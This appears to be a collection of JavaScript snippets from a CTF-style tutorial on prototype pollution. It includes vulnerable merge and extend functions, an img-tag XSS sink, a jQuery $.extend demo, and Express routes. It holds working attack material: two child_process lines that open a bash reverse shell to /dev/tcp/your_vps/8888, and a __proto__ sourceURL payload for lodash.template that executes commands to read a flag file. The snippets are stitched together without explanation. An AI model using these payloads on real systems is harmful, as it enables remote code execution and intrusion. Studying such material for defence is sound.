function Cat() {
    this.color = 'white'
}
Cat.prototype.age = 4
var cat = new Cat()
console.log(cat.color)    // white
console.log(cat.age)      // 4

function Cat() {
    this.color = 'white'
    this.age = 5
}

Cat.prototype.getColor = function() {
    console.log(this.color)
}

Object.prototype.getAge = function() {
    console.log(this.age)
}

var cat = new Cat()

cat.getColor()       // orange
cat.getAge()

var a = ['hello', 'world']
function f() {}

console.log(a.__proto__ === Array.prototype)      // true
console.log(f.__proto__ === Function.prototype)   // true

global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')
global.process.mainModule.constructor._load('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;//返回修改后的对象
    }

var data = JSON.parse(input); //这里获取输入并且进行json解析
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input)); //这里传入了漏洞函数,正常操作就是替换默认的image Source
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) { //这里只能允许字母数字\ .字符,否则delete掉
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');//这里为了防止逃逸过滤了"
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);//这里拼接了source,这里是xss的点

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

let compiled = lodash.template(content)
let rendered = compiled({...options})

{"__proto__": {"sourceURL": "\nreturn e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('cat /flag_thepr0t0js')}\n"}}

// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { 
   ...    
	// Never move original objects, clone them   
 	target[ name ] = jQuery.extend( deep, clone, copy );    // Don't bring in undefined values
} else if ( copy !== undefined ) {    
	target[ name ] = copy;
}

var jquery = document.createElement('script');  
jquery.src = 'https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js';
document.getElementsByTagName('head')[0].appendChild(jquery);
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode":"Hacked By LiMing"}}'));
console.log({}.devMode);

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

'user':req.body.userid.toUpperCase(),

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

res.outputFunctionName=undefined;